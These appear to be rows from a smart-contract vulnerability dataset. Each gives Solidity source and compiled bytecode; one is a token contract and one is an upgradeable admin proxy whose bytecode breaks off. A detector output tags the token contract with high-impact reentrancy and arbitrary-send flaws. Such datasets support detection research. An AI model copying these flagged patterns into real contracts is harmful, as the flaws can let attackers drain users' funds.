uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230a565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ecd565b61038e565b60405161014c91906122ef565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061246c565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7a565b6103bb565b6040516101b491906122ef565b60405180910390f35b3480156101c957600080fd5b506101d2610494565b6040516101df91906124e1565b60405180910390f35b3480156101f457600080fd5b506101fd61049d565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de0565b610517565b604051610233919061246c565b60405180910390f35b34801561024857600080fd5b50610251610568565b005b34801561025f57600080fd5b506102686106bb565b6040516102759190612221565b60405180910390f35b34801561028a57600080fd5b506102936106e4565b6040516102a0919061230a565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ecd565b610721565b6040516102dd91906122ef565b60405180910390f35b3480156102f257600080fd5b506102fb61073f565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3a565b610c6f565b604051610331919061246c565b60405180910390f35b34801561034657600080fd5b5061034f610cf6565b005b60606040518060400160405280600c81526020017f556e6465616420546f6b656e0000000000000000000000000000000000000000815250905090565b60006103a261039b610d68565b8484610d70565b6001905092915050565b6000662386f26fc10000905090565b60006103c8848484610f3b565b610489846103d4610d68565b61048485604051806060016040528060288152602001612abc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043a610d68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113039092919063ffffffff16565b610d70565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104de610d68565b73ffffffffffffffffffffffffffffffffffffffff16146104fe57600080fd5b600061050930610517565b905061051481611367565b50565b6000610561600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ef565b9050919050565b610570610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906123cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f554e444541440000000000000000000000000000000000000000000000000000815250905090565b600061073561072e610d68565b8484610f3b565b6001905092915050565b610747610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906123cc565b60405180910390fd5b600b60149054906101000a900460ff1615610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b9061244c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000610d70565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190611e0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099257600080fd5b505afa1580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611e0d565b6040518363ffffffff1660e01b81526004016109e792919061223c565b602060405180830381600087803b158015610a0157600080fd5b505af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e0d565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac230610517565b600080610acd6106bb565b426040518863ffffffff1660e01b8152600401610aef9695949392919061228e565b6060604051808303818588803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b419190611f67565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c19929190612265565b602060405180830381600087803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6b9190611f0d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37610d68565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d658161165d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061242c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061236c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061246c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa29061240c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110129061232c565b60405180910390fd5b6000811161105e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611055906123ec565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ab9190612221565b60206040518083038186803b1580156110c357600080fd5b505afa1580156110d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fb9190611f3a565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a65750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b15760006111b3565b815b11156111be57600080fd5b6111c66106bb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123457506112046106bb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f357600061124430610517565b9050600b60159054906101000a900460ff161580156112b15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c95750600b60169054906101000a900460ff165b156112f1576112d781611367565b600047905060008111156112ef576112ee4761165d565b5b505b505b6112fe8383836116c9565b505050565b600083831115829061134b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611342919061230a565b60405180910390fd5b506000838561135a9190612632565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561139f5761139e61278d565b5b6040519080825280602002602001820160405280156113cd5781602001602082028036833780820191505090505b50905030816000815181106113e5576113e461275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148757600080fd5b505afa15801561149b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bf9190611e0d565b816001815181106114d3576114d261275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153a30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d70565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161159e959493929190612487565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b60006116406116d9565b9050611655818461170490919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c5573d6000803e3d6000fd5b5050565b6116d483838361174e565b505050565b60008060006116e6611919565b915091506116fd818361170490919063ffffffff16565b9250505090565b600061174683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611975565b905092915050565b600080600080600080611760876119d8565b9550955095509550955095506117be86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189f81611ae6565b6118a98483611ba3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611906919061246c565b60405180910390a3505050505050505050565b600080600060075490506000662386f26fc10000905061194b662386f26fc1000060075461170490919063ffffffff16565b82101561196857600754662386f26fc10000935093505050611971565b81819350935050505b9091565b600080831182906119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b3919061230a565b60405180910390fd5b50600083856119cb91906125a7565b9050809150509392505050565b60008060008060008060008060006119f38a60016009611bdd565b9250925092506000611a036116d9565b90506000806000611a168e878787611c73565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b905092915050565b6000808284611a979190612551565b905083811015611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad39061238c565b60405180910390fd5b8091505092915050565b6000611af06116d9565b90506000611b078284611cfc90919063ffffffff16565b9050611b5b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bb882600754611a3e90919063ffffffff16565b600781905550611bd381600854611a8890919063ffffffff16565b6008819055505050565b600080600080611c096064611bfb888a611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c336064611c25888b611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c5c82611c4e858c611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c8c8589611cfc90919063ffffffff16565b90506000611ca38689611cfc90919063ffffffff16565b90506000611cba8789611cfc90919063ffffffff16565b90506000611ce382611cd58587611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d0f5760009050611d71565b60008284611d1d91906125d8565b9050828482611d2c91906125a7565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d63906123ac565b60405180910390fd5b809150505b92915050565b600081359050611d8681612a76565b92915050565b600081519050611d9b81612a76565b92915050565b600081519050611db081612a8d565b92915050565b600081359050611dc581612aa4565b92915050565b600081519050611dda81612aa4565b92915050565b600060208284031215611df657611df56127bc565b5b6000611e0484828501611d77565b91505092915050565b600060208284031215611e2357611e226127bc565b5b6000611e3184828501611d8c565b91505092915050565b60008060408385031215611e5157611e506127bc565b5b6000611e5f85828601611d77565b9250506020611e7085828601611d77565b9150509250929050565b600080600060608486031215611e9357611e926127bc565b5b6000611ea186828701611d77565b9350506020611eb286828701611d77565b9250506040611ec386828701611db6565b9150509250925092565b60008060408385031215611ee457611ee36127bc565b5b6000611ef285828601611d77565b9250506020611f0385828601611db6565b9150509250929050565b600060208284031215611f2357611f226127bc565b5b6000611f3184828501611da1565b91505092915050565b600060208284031215611f5057611f4f6127bc565b5b6000611f5e84828501611dcb565b91505092915050565b600080600060608486031215611f8057611f7f6127bc565b5b6000611f8e86828701611dcb565b9350506020611f9f86828701611dcb565b9250506040611fb086828701611dcb565b9150509250925092565b6000611fc68383611fd2565b60208301905092915050565b611fdb81612666565b82525050565b611fea81612666565b82525050565b6000611ffb8261250c565b612005818561252f565b9350612010836124fc565b8060005b838110156120415781516120288882611fba565b975061203383612522565b925050600181019050612014565b5085935050505092915050565b61205781612678565b82525050565b612066816126bb565b82525050565b600061207782612517565b6120818185612540565b93506120918185602086016126cd565b61209a816127c1565b840191505092915050565b60006120b2602383612540565b91506120bd826127d2565b604082019050919050565b60006120d5602a83612540565b91506120e082612821565b604082019050919050565b60006120f8602283612540565b915061210382612870565b604082019050919050565b600061211b601b83612540565b9150612126826128bf565b602082019050919050565b600061213e602183612540565b9150612149826128e8565b604082019050919050565b6000612161602083612540565b915061216c82612937565b602082019050919050565b6000612184602983612540565b915061218f82612960565b604082019050919050565b60006121a7602583612540565b91506121b2826129af565b604082019050919050565b60006121ca602483612540565b91506121d5826129fe565b604082019050919050565b60006121ed601783612540565b91506121f882612a4d565b602082019050919050565b61220c816126a4565b82525050565b61221b816126ae565b82525050565b60006020820190506122366000830184611fe1565b92915050565b60006040820190506122516000830185611fe1565b61225e6020830184611fe1565b9392505050565b600060408201905061227a6000830185611fe1565b6122876020830184612203565b9392505050565b600060c0820190506122a36000830189611fe1565b6122b06020830188612203565b6122bd604083018761205d565b6122ca606083018661205d565b6122d76080830185611fe1565b6122e460a0830184612203565b979650505050505050565b6000602082019050612304600083018461204e565b92915050565b60006020820190508181036000830152612324818461206c565b905092915050565b60006020820190508181036000830152612345816120a5565b9050919050565b60006020820190508181036000830152612365816120c8565b9050919050565b60006020820190508181036000830152612385816120eb565b9050919050565b600060208201905081810360008301526123a58161210e565b9050919050565b600060208201905081810360008301526123c581612131565b9050919050565b600060208201905081810360008301526123e581612154565b9050919050565b6000602082019050818103600083015261240581612177565b9050919050565b600060208201905081810360008301526124258161219a565b9050919050565b60006020820190508181036000830152612445816121bd565b9050919050565b60006020820190508181036000830152612465816121e0565b9050919050565b60006020820190506124816000830184612203565b92915050565b600060a08201905061249c6000830188612203565b6124a9602083018761205d565b81810360408301526124bb8186611ff0565b90506124ca6060830185611fe1565b6124d76080830184612203565b9695505050505050565b60006020820190506124f66000830184612212565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061255c826126a4565b9150612567836126a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561259c5761259b612700565b5b828201905092915050565b60006125b2826126a4565b91506125bd836126a4565b9250826125cd576125cc61272f565b5b828204905092915050565b60006125e3826126a4565b91506125ee836126a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262757612626612700565b5b828202905092915050565b600061263d826126a4565b9150612648836126a4565b92508282101561265b5761265a612700565b5b828203905092915050565b600061267182612684565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126c6826126a4565b9050919050565b60005b838110156126eb5780820151818401526020810190506126d0565b838111156126fa576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a7f81612666565b8114612a8a57600080fd5b50565b612a9681612678565b8114612aa157600080fd5b50565b612aad816126a4565b8114612ab857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fee0b08677fd35f21c9eeddccf30b1a8448f98dcd1d033a6ca55e22ef3775e2864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,584 |
0x92fd572889af5d0ec0df7fb4c8ce4b95edc50aad
|
/**
*Submitted for verification at BscScan.com on 2021-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb5312